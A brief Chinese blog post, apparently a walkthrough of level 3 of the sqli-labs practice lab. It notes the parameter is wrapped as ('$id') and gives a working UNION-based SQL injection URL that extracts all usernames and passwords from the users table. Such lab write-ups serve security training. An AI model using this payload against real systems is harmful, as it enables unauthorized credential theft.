【less-3】sqli-labs靶场第三关

未名编程

发布于 2024-10-12 19:41:04

22700

代码可运行

文章被收录于专栏：PythonPython

运行总次数：0

代码可运行

与Less-2类似，直接看这篇文章：【less-2】sqli-labs靶场第二关不同的是，根据错误回显知道，其拼接方式为id=('$id') 故采用https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1') 采用如下语句获取所有用户名和密码

https://sqli.wmcoder.site/sqli-labs/Less-3/?id=1') and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+

本文参与腾讯云自媒体同步曝光计划，分享自作者个人站点/博客。

原始发表：2024-10-12，如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自作者个人站点/博客前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

登录后参与评论

0 条评论

热度